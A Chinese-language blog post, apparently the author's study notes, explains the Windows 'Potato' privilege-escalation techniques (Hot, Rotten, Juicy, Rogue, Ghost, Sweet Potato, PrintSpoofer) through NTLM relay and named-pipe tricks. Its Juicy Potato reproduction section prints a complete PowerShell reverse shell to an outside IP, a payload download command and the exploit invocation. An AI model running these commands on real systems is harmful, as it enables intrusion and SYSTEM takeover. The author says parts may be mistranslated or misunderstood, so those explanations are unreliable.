• Origin Potato(MS08-068)


    原理就是上文提到的 ntlm 反射,
    image-20220430170143680
    重点看一下修复,微软在 kb957097 补丁中通过修复 SMB 身份验证答复的验证方式来防止凭据重播。当主机 A 向主机 B 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B,然后在 type2 拿到 B 发送的 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B),接着 B 拿到 A 的 type3,这时会去检查 lsass 缓存里是否有 (Challenge,cifs/B),如果有就说明这是同一台主机,那么认证失败。
  • Hot Potato(MS16-075)


    影响范围 Windows 7,8,10,Server 2008 以及 Server 2012,经典的 ntlm relay 攻击链,依靠 windows update 触发。工具地址:https://github.com/foxglovesec/Potato
    image-20220430174056225
    实现流程:
    1.本地 NBNS Spoofer :冒充名称解析,强制系统下载恶意 WAPD 配置
    2.伪造 WPAD 代理服务器:部署 malicios WAPD 配置,强制系统进行 NTLM 认证
    3.HTTP -> SMB NTLM 中继:将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
    

    流程分 3 步,首先进行本地 NBNS 欺骗,windows 通常通过这一协议进行域名解析,当 windows 在 hosts 文件和 dns 查询都搜索失败后,会再进行 NBNS 查询,在本地广播域中向所有的主机发出 UDP 广播询问。
    但是直接嗅探到网络流量信息需要本地管理员权限,这里曲线救国。如果我们能提前知道 NBNS 请求所对应的目标主机的主机名(目标主机 127.0.0.1),就可以创建一个虚假的应答信息,并快速地使用 NBNS 应答信息来对目标主机进行泛洪攻击。因为 NBNS 数据包中有一个长度为 2 子节的数据域-TXID,要求与请求和应答信息相匹配,所以要通过泛洪暴力枚举 65536 个可能性。
    这是没有匹配到 dns 的情况,如果之前就保存了主机的 DNS 记录,那么可以使用 UDP 端口枯竭(使每一个 UDP 端口失效),迫使目标系统中所有的 DNS 查询失败。
    下一步是伪造 WPAD 代理服务器,在 windows 操作系统中,IE 浏览器在默认情况下会通过 http://wpad/wpad.dat 来自动尝试检查网络代理,同时也有其它一些 windows 中的服务会采用这一机制(比如利用中提到的 Windows Update)。
    但是并不是所有网络中都可以正常访问这个 url(不是所有的 dns 域名服务器都存在主机 wpad),那么我们就可以伪造一个 WPAD 代理服务器,结合前文的本地 NBNS 欺骗,就可以声称 WPAD 主机的 ip 地址是目标地址(127.0.0.1)。
    这时在 127.0.0.1 本地运行一个 HTTP 服务器,当收到 http://wpad/wpad.dat 请求时,做以下答复:
    FindProxyForURL(url,host){
        if (dnsDomainIs(host, "localhost")) return "DIRECT";
        return "PROXY 127.0.0.1:80";
    

    这样目标上所有的 http 流量都通过 127.0.01 重定向。
    之前对于 NTLM 反射的补丁只限于 SMB->SMB,但 NTLM 支持跨协议,也就是说像 HTTP->SMB 仍可正常工作。
    现在 HTTP 流量都会途径我们控制的 HTTP 服务器,那么就可以将其重定向到 URL: http://localhost/GETHASHESxxxxx,以 NTLM 身份验证的 401 请求响应(其中 xxxxx 是某个唯一标识符)。然后将 NTLM 凭据中继到本地 SMB 监听器以创建运行用户定义命令的新系统服务。
    当这个请求由高权限发起的时候(比如 windows update,system 权限),就完成了提权。
    再看一下漏洞的触发,依赖于发送 http://wpad/wpad.dat 请求,而当 windows 已经由 WPAD 的缓存条目或因为没有找到 WPAD 而允许直接上网时,需要 30-60 min才会刷新。
  • Rotten Potato(MS16-075的变种)


    通过 DCOM call 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,需要 SelmpersonatePrivilege 权限。可以立即触发,不需要等待 windows 更新。
    影响范围:< win10 1809 和 windows server 2019
    image-20220430203014510
    实现流程:
    1.通过 NT AUTHORITY/SYSTEM 运行的 RPC 将尝试通过 CoGetInstanceFromIStorage API 调用向我们的本地代理进行身份验证
    2.135 端口的 RPC 将用于回复第一个 RPC 正在执行的所有请求充当模板
    3.AcceptSecurityContextAPI 调用以在本地模拟 NT AUTHORITY/SYSTEM
    

    首先是用 CoGetInstanceFromIStorage 尝试从调用者(system)指定的位置获取指定对象的实例,下面代码试图从 127.0.0.1 的 6666 端口上获取一个 BITS 对象。(实际上是从 IStorage 中获取对象)
    其中,CLSID 是标识 COM 类对象的全局唯一标识符,类似 uuid。BITS(后台只能传输服务)实现从 HTTP web 服务器 和 SMB 服务实现文件共享,BITS 实现了 IMarshal 接口并允许代理声明强制 NTLM 身份验证。
    public static void BootstrapComMarshal()
    {
    IStorage stg = ComUtils.CreateStorage();
     
    //使用已知的本地系统服务 COM 服务器,在此强制执行 BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
     
    TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port
     
    MULTI_QI[] qis = new MULTI_QI[1];
     
    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;
     
    CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1,       qis);
    }
    

    现在有一个 COM 试图连接 127.0.0.1:6666(通过 RPC 协议),那么我们在 6666 端口上建立一个本地 TCP 监听器,如果这时我们以正确的方式回复,那么这个 COM(system 权限运行)就会尝试与我们进行 NTLM 身份验证。
    在这里我们做的是将 6666 接收到的数据包中继到本地的 135 端口的 RPC 监听器上,并将 135 端口返回的数据包作为回复 COM 的模板。
    如果从调用函数的层面理解 NTLM 的认证过程,有下图:
    image-20220430213137161
    重点看服务端的调用,首先调用 acquirecdentialshandle 获取相应的句柄,然后用 AcceptSecurityContext 处理 type1,这个函数的输出就是 type2 的消息,该消息将被发送回试图进行身份验证的客户端,这里就是 DCOM。
    当客户端回复 type3 后,服务端将其传递给 AcceptSecurityContext,以完成身份验证并获得令牌。
    在我们的攻击中,type1被转发到了 RPC 的135 端口上,RPC 回复一个 Type2,但不是直接转发回去,需要在中转的时候进行一些处理,这里做的使用 AcceptSecurityContext 调用的结果替换发送到 COM 数据包中的 NTLM blob(?)。
    但为什么要这样?因为我们需要的是用 system 账户运行的 COM 来完成 NTLM Challenge 和 Reserved(我们使用这两个部分来协商本地令牌),所以如果不替换,后续再次调用 AcceptSecurityContext 就会失败。
    到现在为止,我们能确定的是,客户端以 system 权限执行的 COM 需要对服务端返回的 NTLM type2 数据包中的 NTLM Server Challenge 和 Reserved 部分进行一些操作(magic?),而只有对 AcceptSecurityContext 生成的结果执行这些操作的时候,才能获得令牌。
    这里的 Reserved 字段实际上是对 SecHandle 的引用,当 system 账户接收到 NTLM type2 的消息时,会在内存中进行 Reserved 验证(如果没有替换,将被认证为 RPC 而不是我们)。
    完成上述操作后,system 权限运行的 COM 将向我们发送 type3(是空的?),但会用它来调用 AcceptSecurityContext。最后使用其调用结果用 ImpersonateSecurityContext 获得一个模拟令牌。
    有了模拟令牌,根据 SeImpersonate 权限的特性,可以以此令牌创建进程。
    (基本直接翻译原文,其中有很多地方还不是很理解,有错误希望各位师傅指出)
    原版的 Rotten Potato 的实现基于 meterpreter shell,后来有人写了 webshell 的版本(也就是 Lonely Potato)。
    复现:

    新建一个 IIS 服务器,传上 shell,连上?
    image-20220501134711345
    尝试获取不同权限,直接 cd 到 public 中可以获取 IUSR 权限
    image-20220501134909414
    用烂土豆提权:
    image-20220501135318662
  • Juicy Potato(对 Rotten Potato 的完善)


    禁用了 BITS(Rotten Potato 用请求的对象)并占用了 6666 端口,但除了 BITS (CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}),还有其它的 COM 对象可以选择。
    选择的 COM 对象需要满足的条件是:
    1.可由当前用户实例化,通常是具有模拟权限的服务用户(最开始提到的 potato 家族提权的前提条件)
    2.实现 IMarshal 接口
    3.以提升的用户身份运行(SYSTEM,Administrator ...)
    

    image-20220501123950450
    实现流程和 Rotten Potato 相似。Juicy Potato 通过传递 BITS 的 CLSID 和 IStorage 对象实例给 CoGetInstanceFromIStorage 函数,是 rpcss 激活 BITS 服务,随后 rpcss 的 DCOM OXID resolver 会解析序列化数据中的 OBJREF 拿到DUALSTRINGARRAY 字段,该字段指定了 host[port] 格式的 location,绑定对象时会向其中的 host[port] 发送 DEC/RPC 请求,这时,如果攻击者控制了这个端口,就可以要求机型 NTLM 身份验证,那么高权限服务就会发送 net-NTLM 进行认证。
    拿到 net-NTLM 后会通过 SSPI 的 AcceptSecurityContext 函数进行本地 NTLM 协商,而我们 relay 到本机的 RPC 135 端口来获取系统合法的 RPC 报文,后面的过程只需替换 RPC 报文中的 NTLM SSP 部分即可。
    复现:

    powershell 上传文件:
    (new-object net.webclient).downloadfile('http://10.10.10.1:5555/JuicyPotato.exe', 'C:\Users\Public\JuicyPotato.exe')
    

    用 webshell 反弹 shell
    powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('10.10.10.131',12333);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (IEX $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sby = ([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"
    

    image-20220501141125597
    运行 payload:
    .\JuicyPotato.exe -l 1337 -p cmd.exe -t *
    

    image-20220501145032101
  • PrintSpoofer


    看这个洞之前先回顾一下 getsystem 的原理那篇文章,提权的原理就是诱使 system 权限的服务访问我们指定的命名管道,getsystem 提供各种模式欺骗 system 连接管道:
    image-20220501162302890
    其中第 5 个就是 PrintSpoofer,利用了打印机组件路径检查的 bug。
    项目地址:https://github.com/leechristensen/SpoolSample
    Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下启用。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
    DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
        /* [in] */ PRINTER_HANDLE hPrinter,
        /* [in] */ DWORD fdwFlags,
        /* [in] */ DWORD fdwOptions,
        /* [unique][string][in] */ wchar_t *pszLocalMachine,
        /* [in] */ DWORD dwPrinterLocal,
        /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
    

    同时,Print Spooler 服务的 RPC 接口暴露在命名管道:\\.\pipe\spoolss 中,该服务默认开启。
    其中 pszLocalMachine 是指向表示客户端计算机名称的字符串的指针,需要传递一个 UNC 路径,传递 \\127.0.0.1 时,服务器会访问 \\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,并由 NT AUTHORITY\SYSTEM 控制。
    那么下一步就是要想办法把这个请求让我们准备好的恶意管道接收。
    考虑到 UNC 路径的性质,如果主机名包含 /,它将通过路径检查,但真正连接的时候会转化为 \ 。那么,如果传递一个 \\127.0.0.1/pipe/foo,检查时会认为 127.0.0.1/pipe/foo 是一个主机名,随后在连接 named pipe 时会对参数做标准化,于是就会连接 \\127.0.0.1\pipe\foo\pipe\spoolss,那么攻击者就可以把主机名改为 \\127.0.0.1/pipe/foo 并注册这个 named pipe 从而窃取 client 的 token。
    工具地址:https://github.com/itm4n/PrintSpoofer
    还有 crisprss 修改的免杀版:https://github.com/crisprss/PrintSpoofer
    image-20220501170329805
  • Rogue Potato(Rotten / Juicy 的绕过)


    高版本的 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号,既然这样就在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并实现了一个恶意的 RPC OXID 解析器。
    image-20220501172346070
    OXID 解析器是 rpcss 服务的一部分,在每台支持 COM+ 的机器上的 135 端口上运行 ,它执行两个重要任务:
    1.存储连接远程对象所必须的 RPC 字符串绑定,并将它们提供给本地客户机。
    2.将 ping 消息发送给本地机器拥有客户端的远程对象,并接收本地机器运行的对象的 ping 消息。(支持 COM+ 垃圾回收机制)
    

    OXID 解析器的工作流程如下:
    image-20220501174253293
    其中客户端就是 RPCSS 服务,它将尝试连接到我们的恶意 OXID 解析器。
    在正常情况下,客户端的 OXID 解析序列中的所有请求都经过身份验证后,就会模拟运行我们选择的 CLSID 对应 COM 的用户(SYSTEM)。土豆系列的攻击就是拦截这个认证过程并窃取令牌。
    看一下 RPC 支持的协议,我们伪造的 OXID 解析器能选择协议序列标识(protocol sequence),也就是说可以选择调用的具体协议。
    RPC transportRPC protocol sequence string
    SMBncacn_np (see section 2.1.1.2)
    TCP/IP (both IPv4 and IPv6)ncacn_ip_tcp (see section 2.1.1.1)
    UDPncadg_ip_udp (see section 2.1.2.1)
    SPXncacn_spx (see section 2.1.1.3)
    IPXncadg_ipx (see section 2.1.2.2)
    NetBIOS over IPXncacn_nb_ipx (see section 2.1.1.4)
    NetBIOS over TCPncacn_nb_tcp (see section 2.1.1.5)
    NetBIOS over NetBEUIncacn_nb_nb (see section 2.1.1.6)
    AppleTalkncacn_at_dsp (see section 2.1.1.7)
    RPC over HTTPncacn_http (see section 2.1.1.8)

    当使用 ncacn_ip_tcp 的时候,它允许 RPC 直接通过 TCP。我们使用 IRemUnknown2 接口运行 RPC 服务器,并尝试调用 RpcImpersonateClient 的 SecurityCallback 来验证请求。在 resolveoxid2 响应中返回 ncacn_ip_tcp:localhost[9998],触发 RPC 服务器的身份验证(但是只有一个标识符)。
    综上,如果我们将 OXID 解析请求重定向到我们控制下的端口 135 上的远程服务器,并将请求转发到我们的本地 Fake RPC 服务器,我们将仅获得一个匿名登录。如果将 OXID 解析请求解析到一个假的 RPC 服务器,那么将会在 IRemUnkown2 查询的时候获得一个系统令牌(但只是个标识令牌)。
    但作者后续借鉴了 PrintSpoofer 的利用思路,使用了 ncacn _ np(向连接的命名管道)。这里选用了 epmapper 管道(和 RpcEptMapper 服务有关,用于解析 RPC 接口标识符以传输端点)。这个服务和 rpcss 服务共享进程空间,并且都在 NETWORK SERVICE 帐户下运行,那么如果能在这个进程下模拟该账户,就可以窃取 SYSTEM 令牌。
    但是根据协议的设计,即使使用了 ncacn_np:localhost[\pipe\roguepotato],也会最终连接到 epmapper 管道。
    到这里已经有些眉目了,遇到的问题和 PrintSpoofer 中的一样,同样也可以通过在主机名中插入 / 实现绕过。
    如果返回的绑定信息是 ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper],那么 RPCSS 就会尝试连接不存在的命名管道 \roguepotato\pipe\epmapper,那我们在此管道上进行监听,就能获得 SYSTEM 权限的模拟令牌了!
    工具地址:https://github.com/antonioCoco/RoguePotato
  • Ghost potato(MS08-068 绕过)


    为防止用户 relay 本机,在 lsass 中添加缓存绕过,如果缓存中有 (Challenge,cifs/B) 就会认证失败。
    然而这个 (Challenge,cifs/B) 是有时效性的(300s),所有只要等 300s 再发送 type3 就可以 bypass 了。
    image-20220501200135291
    用修改后的 impacket https://shenaniganslabs.io/files/impacket-ghostpotato.zip 可以直接打,用法和 MS08-068 类似。
  • SweetPotato


    集成了前面几种土豆触发 NTLM 认证的方式,包括:COM,WinRM,Spoolsv,其中 WInRM 的攻击原理参考:https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
    大致思路就是当 WinRM 在当前系统未启用时,攻击者监听本机 5985 端口,BITS 服务会向 WinRM 5985 发起 NTLM 认证,
    工具地址:https://github.com/CCob/SweetPotato
    因为 windows 代码能力太差了看不懂 exp,之后一定补!!!
  • 参考文献


标签: none

添加新评论